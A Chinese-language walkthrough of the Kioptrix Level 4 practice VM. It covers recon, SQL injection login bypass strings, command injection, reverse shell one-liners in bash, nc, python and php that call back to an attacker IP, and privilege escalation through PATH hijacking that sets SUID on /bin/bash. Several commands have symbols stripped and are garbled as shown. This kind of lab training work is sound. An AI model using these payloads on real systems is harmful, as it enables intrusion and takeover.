Kioptrix Level 4 渗透实战：SQL注入绕过、命令注入与受限Shell提权

1. 从Level 3到Level 4这次的目标到底变了什么如果你是一路从Kioptrix Level 1打到Level 3过来的第一次进Level 4大概率会有一种走错片场的感觉。前面几关那种扫端口、找老服务、打公开exp的顺风局思路到了这一关会明显卡壳。原因不复杂Level 4的设计者在这一版里把重点从服务漏洞挪到了Web应用逻辑漏洞上而且刻意做了几层信息隐藏逼着你从被动扫描转向主动分析。先把这一关的定位说清楚。Kioptrix系列本身是一个面向渗透测试入门到进阶的靶机练习环境每一关都对应一组特定的技能点。Level 1考的是基础信息收集加SMB老漏洞Level 2考的是Web加数据库的横向Level 3偏向Web应用层的注入与文件包含。到了Level 4核心考点变成了SQL注入绕过认证、命令注入、以及受限shell下的权限提升这三件事的组合。它不再给你一个能直接一把梭的远程溢出而是要求你把Web层打穿之后再在一个功能受限的shell里想办法拿到root。这一关适合什么人练我的判断是已经能独立完成前几关、对Nmap和基本Web渗透有概念、但还没系统练过拿到低权限shell之后怎么办的人。因为Level 4真正的难点不在入口而在入口之后那段上不去下不来的憋屈阶段。很多人卡在这里不是因为不会打而是因为拿到shell之后不知道该看什么、该试什么。我个人的习惯是进任何一台靶机之前先明确三件事目标IP、攻击机IP、以及这一关大概想考什么。前两件靠ifconfig和靶机开机界面就能确认第三件靠经验预判。Level 4的预判就是——Web是主入口数据库是跳板提权是终点。带着这个预判去做信息收集效率会比盲目扫端口高很多。提示靶机环境里所有操作都在你自己搭建的隔离网络中进行不要对任何未授权的真实系统做类似尝试。这一关练的是方法论不是让你去搞破坏。2. 信息收集阶段为什么这一关的端口扫描要慢下来2.1 全端口扫描与常见服务的取舍进Level 4第一步还是老规矩先确认目标存活再做端口扫描。但这一关有个细节值得单独说不要一上来就用-T4甚至-T5的激进扫描。原因在于Level 4的Web服务对异常请求比较敏感过快的扫描有时候会让服务响应变慢甚至短暂无响应反而干扰你后续的判断。我一般用这样的节奏# 先快速探活 nmap -sn 192.168.1.0/24 # 确认目标后做全端口扫描但控制速率 nmap -p- -T3 --min-rate 500 192.168.1.105 # 对开放端口做服务与版本识别 nmap -sV -sC -p 22,80,139,445,3306 192.168.1.105扫下来你会发现这一关开放的端口组合和前三关有明显区别。通常能看到22SSH、80HTTP、139/445SMB、3306MySQL这几个。这里的关键判断是80端口是主战场3306是辅助入口22和445更多是干扰项或者后期提权的线索。为什么这么说因为Level 4的Web应用里藏着一个登录框而这个登录框背后连的就是本机的MySQL。设计者的意图很明确——让你通过Web层的注入拿到数据库里的凭据再用凭据去SSH或者继续在Web层横向。所以扫描阶段你就要有意识地把注意力往80和3306上倾斜而不是在445上浪费时间找老漏洞。2.2 目录爆破字典选择比工具本身更重要扫完端口接下来是Web目录枚举。这一步很多人喜欢直接上大字典猛跑但在Level 4上字典的选择比跑的速度更关键。因为这一关的目录结构不算深但有几个关键路径不在常规字典的前几千条里。我一般会分两轮跑。第一轮用中等规模的通用字典快速过一遍看看有没有明显的admin、login、backup之类第二轮针对第一轮的发现做定向扩展。# 第一轮通用字典 gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -t 30 # 第二轮针对发现的目录做扩展 gobuster dir -u http://192.168.1.105/kioptrix -w /usr/share/wordlists/dirb/big.txt -t 30实测下来这一关的入口通常是一个看起来平平无奇的登录页面路径可能就藏在某个不起眼的目录下。这里有个经验如果通用字典跑完只发现一个登录页不要急着放弃去看这个页面的源码和响应头。Level 4的登录页源码里往往藏着注释、隐藏字段或者提示性的HTML结构这些信息比字典本身更有价值。2.3 从页面源码里读出设计者的意图我特别想强调这一点因为这是Level 4和前几关最大的区别。前三关你扫到服务就能打这一关你必须先读懂这个Web应用想让你干什么。打开登录页之后右键看源码。你会注意到几个细节表单的提交方式、字段名、有没有隐藏的debug参数、有没有被注释掉的链接。Level 4的登录表单通常有一个特点——它对用户名的处理和对密码的处理逻辑不一致。这个不一致就是注入的突破口。另外页面底部或者源码里经常会有版本号、框架名之类的信息。这些不是让你去搜公开exp的这一关基本没有现成的而是帮你判断这个应用是用什么写的、大概会有什么类型的漏洞。比如看到PHP的痕迹就要往SQL注入和文件包含上想看到自定义的登录逻辑就要往认证绕过和命令注入上想。注意信息收集阶段最忌讳的就是扫到啥就打啥。Level 4的设计逻辑是层层递进的你跳步去打后面的东西往往会因为缺少前置信息而卡死。老老实实把Web层摸透后面会顺很多。3. 认证绕过那个登录框到底在防什么3.1 先判断注入点在哪一侧拿到登录页之后第一件事不是急着上sqlmap而是手动测一下注入点。Level 4的登录逻辑有个很典型的特点用户名和密码的处理方式不同。具体表现是你在用户名里输入特殊字符页面会报错或者行为异常但在密码里输入同样的字符页面反应很平静。这个差异说明什么说明用户名被直接拼进了SQL查询而密码可能经过了某种处理比如哈希或者转义。所以注入点大概率在用户名字段。手动验证的方法很简单先在用户名里输入一个单引号用户名: admin 密码: anything如果页面返回SQL错误或者行为异常基本可以确认用户名存在注入。如果页面只是提示用户名或密码错误那可能做了过滤需要换思路。3.2 绕过逻辑的几种常见构造确认注入点之后接下来是构造绕过语句。Level 4的登录验证逻辑通常是这样的先查用户名是否存在再比对密码。这种两步走的逻辑给了我们可乘之机。第一种思路是注释掉密码验证部分。如果后端是SELECT * FROM users WHERE username$user AND password$pass这种结构那么在用户名里输入admin --后面的密码验证就被注释掉了只要admin这个用户存在就能直接登录。第二种思路是用OR条件让查询恒真。如果注释被过滤了可以试 OR 11或者更精确一点配合已知的用户名admin OR 11 --第三种思路是利用UNION注入直接构造一个假用户。这个稍微复杂一点需要先判断字段数 UNION SELECT 1,2,3 --通过逐步调整数字找到字段数匹配的那个然后把其中一个字段替换成你想要的用户名另一个替换成密码。实测下来Level 4对第一种和第二种思路的防御比较弱通常admin --或者admin OR 11 --就能进去。但要注意不同的靶机版本可能对空格和注释符做了处理如果标准写法不行试试用/**/代替空格或者用#代替--。3.3 进去之后先别急着乱点成功登录之后很多人会兴奋地到处点结果触发了一些不可逆的操作或者把自己锁在外面。我的建议是进去之后先冷静把当前页面的功能、URL结构、参数名全部记下来。Level 4登录后的页面通常是一个简单的管理面板可能有一个查询功能、一个文件查看功能、或者一个执行系统命令的功能。这些功能就是接下来的攻击面。你要做的是记录每个功能对应的URL和参数测试每个参数是否可注入观察页面返回的错误信息错误信息往往泄露路径、数据库结构等这一步做扎实了后面的命令注入和提权会顺理成章。做不扎实就会陷入到处试但不知道在试什么的混乱。4. 命令注入与反弹Shell从Web到系统的跨越4.1 找到那个能执行命令的参数Level 4登录后的功能里通常有一个是让你输入某个值然后系统去执行相应操作的。比如输入一个IP去ping、输入一个文件名去查看内容、或者输入一个主机名去解析。这类功能如果直接把用户输入拼进系统命令就是命令注入。判断方法很直接在输入框里输入一个正常值看返回结果然后输入正常值; whoami或者正常值 | whoami看返回结果里有没有多出命令执行的结果。输入: 127.0.0.1; whoami 返回: 127.0.0.1 的 ping 结果 www-data如果看到了www-data或者类似的用户名说明命令注入成立。这里的;、|、、||都是常见的命令连接符具体用哪个取决于后端是怎么拼接的。我的习惯是四个都试一遍哪个能出结果就用哪个。4.2 反弹Shell的几种姿势与选择理由确认命令注入之后下一步是拿一个交互式的shell。虽然通过命令注入能执行单条命令但每次都要拼URL很麻烦而且有些命令比如su、ssh需要交互单条执行搞不定。反弹shell的经典做法是在攻击机上开监听然后让靶机主动连回来# 攻击机监听 nc -lvnp 4444然后在命令注入点执行bash -i /dev/tcp/192.168.1.100/4444 01但这里有个坑Level 4的Web服务运行用户权限很低而且环境里可能没有bash或者nc。我遇到过的情况是/bin/bash存在但/dev/tcp被禁用或者干脆只有sh没有bash。所以要多准备几套方案# 方案一bash反弹 bash -c bash -i /dev/tcp/192.168.1.100/4444 01 # 方案二nc反弹如果靶机有nc nc -e /bin/sh 192.168.1.100 4444 # 方案三python反弹 python -c import socket,subprocess,os;ssocket.socket();s.connect((192.168.1.100,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([/bin/sh,-i]) # 方案四php反弹如果Web是PHP php -r $sockfsockopen(192.168.1.100,4444);exec(/bin/sh -i 3 3 23);实测下来Level 4的环境里PHP通常是可用的所以方案四的成功率比较高。但要注意通过命令注入执行反弹命令时特殊字符需要做URL编码否则会被Web层截断。比如空格要编码成%20要编码成%26。4.3 拿到shell之后的第一分钟该做什么很多人拿到shell之后第一反应是whoami然后就开始找提权。这个顺序没错但不够。我的习惯是拿到shell后的第一分钟做这几件事# 确认身份和权限 id whoami # 确认系统版本提权exp的选择依据 uname -a cat /etc/issue # 确认当前目录和可写目录 pwd ls -la find / -writable -type d 2/dev/null # 确认有没有sudo权限 sudo -l这几条命令跑下来你对当前处境就有了基本判断。Level 4的Web用户通常是www-data系统版本偏老sudo -l大概率会提示需要密码或者没有权限。这些信息决定了你接下来走哪条提权路线。提示拿到shell之后不要急着乱翻文件尤其是不要动/etc/passwd、/etc/shadow这些敏感文件。先看清楚自己有什么权限再决定下一步。乱改系统文件容易把靶机搞崩到时候只能重装。5. 提权阶段受限环境下的信息挖掘与路径选择5.1 为什么Level 4的提权不能靠一把梭Level 4的提权是这一关真正的分水岭。前面几步如果你练过前几关多少能摸到门道但提权这一步会卡住很多人。原因是这一关的提权不是那种内核版本对应某个公开exp下载编译运行就完事的简单模式。设计者刻意把一些明显的提权路径堵死了逼你去挖掘配置层面的问题。具体来说你可能会遇到这些情况内核版本看起来有漏洞但编译环境不完整exp编译不过sudo -l没有直接可用的条目常见的SUID提权文件比如nmap、vim被移除了定时任务cron里没有明显的可写脚本这时候很多人就懵了开始漫无目的地翻文件。我的经验是提权卡住的时候回到信息收集的思路上来把系统当成一个黑盒重新摸一遍。5.2 系统信息枚举的完整清单提权前的信息枚举我一般按这个清单走一遍枚举项命令关注点内核版本uname -a是否有已知本地提权漏洞系统发行版cat /etc/issue对应哪个版本的漏洞库当前用户id所属组是否有特殊组权限sudo权限sudo -l是否有NOPASSWD条目SUID文件find / -perm -4000 -type f 2/dev/null是否有可滥用的二进制可写文件find / -writable -type f 2/dev/null是否有可修改的配置或脚本定时任务cat /etc/crontab; ls -la /etc/cron.*是否有以root运行的脚本环境变量env是否有PATH劫持的可能网络连接netstat -antp是否有内部服务可利用历史命令cat ~/.bash_history是否有管理员留下的线索这张表里的每一项都值得认真看但Level 4的重点通常在SUID文件、可写文件和定时任务这三项上。因为设计者知道大家会查内核漏洞所以故意把内核提权的路堵了把真正的入口藏在配置里。5.3 一个容易被忽略的提权点可写的脚本与PATH劫持Level 4里有一个很经典的提权路径我把它拆开讲。假设你在枚举的时候发现某个以root权限运行的脚本而这个脚本调用了某个命令但没有写全路径比如直接写service而不是/usr/sbin/service同时这个脚本所在目录或者它调用的某个目录对当前用户可写那么你就可以通过PATH劫持来提权。具体操作是这样的# 假设发现一个root定时任务调用了 backup.sh # 而 backup.sh 里有一行是 tar czf /backup/xxx.tar.gz /home # 先确认当前PATH echo $PATH # 如果 /tmp 在PATH里且可写就在/tmp下放一个假的tar cd /tmp echo /bin/bash -c chmod s /bin/bash tar chmod x tar # 等待定时任务执行然后检查/bin/bash是否有了SUID位 ls -la /bin/bash这个思路的核心是root执行脚本时如果脚本里的命令没有用绝对路径系统会按PATH顺序去找而PATH里如果有一个当前用户可写的目录排在前面就会执行到我们放的假命令。Level 4里这个点藏得不算深但需要你耐心去看每个root脚本的内容。我见过很多人扫到SUID文件没发现异常就放弃了完全没去看cron和脚本内容。这是很可惜的。5.4 数据库凭据的复用从MySQL到系统用户还有一个Level 4特有的提权思路和前面的Web注入是呼应的。你在Web层做SQL注入的时候大概率已经拿到了数据库里的用户表。这张表里可能有用户名和密码的哈希也可能有明文密码。拿到这些凭据之后不要只想着去登录Web后台。试试用这些凭据去SSH或者用su切换到系统用户。因为很多管理员会在多个地方复用同一套密码数据库里的密码很可能就是系统用户的密码。# 拿到数据库里的用户名和密码后 ssh user192.168.1.105 # 或者 su - user如果这个用户有sudo权限或者属于某个特权组提权就水到渠成了。即使没有直接提权一个普通用户的shell也比www-data有更多的操作空间比如能看更多文件、能写更多目录。我个人的经验是Level 4的提权往往是组合拳先用Web注入拿数据库凭据再用凭据拿系统用户最后从系统用户提权到root。单独看每一步都不难难的是把它们串起来。很多人卡住是因为拿到数据库凭据后没往系统用户上想或者拿到系统用户后没继续枚举提权点。6. 那些让我卡了半天的坑与排查思路6.1 命令注入执行了但没回显这是最常见的问题。你在输入框里输入; whoami页面返回的还是原来的内容没有任何命令执行的结果。这时候不要急着换注入点先判断是命令没执行还是执行了但没回显。判断方法是用一个会产生延迟的命令输入: 127.0.0.1; sleep 10如果页面明显卡了10秒才返回说明命令执行了只是结果没有回显到页面上。这时候就要用带外通道来获取结果比如让靶机把结果写到一个Web可访问的目录或者直接反弹shell。# 把命令结果写到Web目录 127.0.0.1; whoami /var/www/html/result.txt # 然后访问 http://192.168.1.105/result.txt 查看6.2 反弹shell连不上反弹shell连不上排查顺序是这样的确认攻击机监听正常nc -lvnp 4444有没有报错端口有没有被占用确认靶机能访问攻击机在命令注入点执行ping 192.168.1.100看能不能通确认命令本身没问题把反弹命令单独在靶机上执行如果已经有shell看报什么错确认编码正确URL里的特殊字符有没有正确编码换端口有些环境对出站端口有限制换443、80这种常见端口试试我遇到最多的情况是第4条符号在URL里没有编码导致命令被截断。记住在URL里要写成%26空格要写成%20。6.3 提权exp编译失败如果你选择走内核提权路线编译exp时可能会遇到各种报错。常见原因和解决办法缺少gcc靶机上没有编译器。解决办法是把exp在攻击机上编译好再传过去。但要注意架构要一致uname -m确认。缺少头文件编译时报fatal error: xxx.h: No such file or directory。解决办法是找不依赖这些头文件的exp版本或者用静态编译。内核版本不匹配exp编译过了但运行没效果。解决办法是仔细核对uname -r和exp说明里的版本范围。说实话Level 4不太推荐走内核exp路线因为设计者已经把这个方向堵得差不多了。把精力放在配置枚举和凭据复用上成功率更高。6.4 拿到root之后该做什么拿到root之后这一关基本就结束了。但作为练习我建议你拿到root后做两件事第一回看整个攻击链把每一步的命令和思路整理成笔记。Level 4的价值不在于拿到root这个结果而在于那条Web注入→命令注入→反弹shell→信息枚举→提权的完整路径。这条路径在真实环境里也是通用的。第二尝试用不同的路径再打一遍。比如这次用SQL注入进的下次试试命令注入直接打这次用PATH劫持提的权下次试试凭据复用。同一台靶机用不同路径打穿对能力的提升比打十台新靶机还大。注意练习结束后记得把靶机恢复到快照或者直接重装。Level 4的提权过程可能会修改系统文件不恢复的话下次打会有干扰。7. 关于这一关我自己的几点体会打Level 4最大的感受是它逼着你从工具使用者变成问题分析者。前几关你可以靠Nmap加Metasploit一路推过去但这一关的工具能帮你的地方很有限。登录框的绕过要手动构造命令注入要手动测提权要手动枚举。工具在这里只是辅助真正起作用的是你对Web应用逻辑的理解和对Linux系统的熟悉程度。另外一个体会是信息收集的深度直接决定后面顺不顺。我前几次打Level 4的时候总是急着拿shell结果拿到www-data之后发现什么线索都没有只能从头再枚举一遍。后来我改了策略在Web层就多花时间把数据库里的东西、页面源码里的注释、目录结构里的异常全部记下来再动手拿shell。这样拿到shell之后提权路径基本已经心里有数了。最后说一个细节。Level 4的Web应用里有些页面会返回比较详细的错误信息这些信息在真实环境里是应该被关掉的但在靶机里是设计者故意留给你的线索。看到错误信息不要跳过仔细读里面往往有路径、数据库名、甚至部分查询语句。这些信息比任何工具的输出都有价值。如果你也在打这一关卡在某个地方了我的建议是回到信息收集阶段把之前跳过的细节重新看一遍。Level 4的答案通常就藏在你觉得不重要的那些信息里。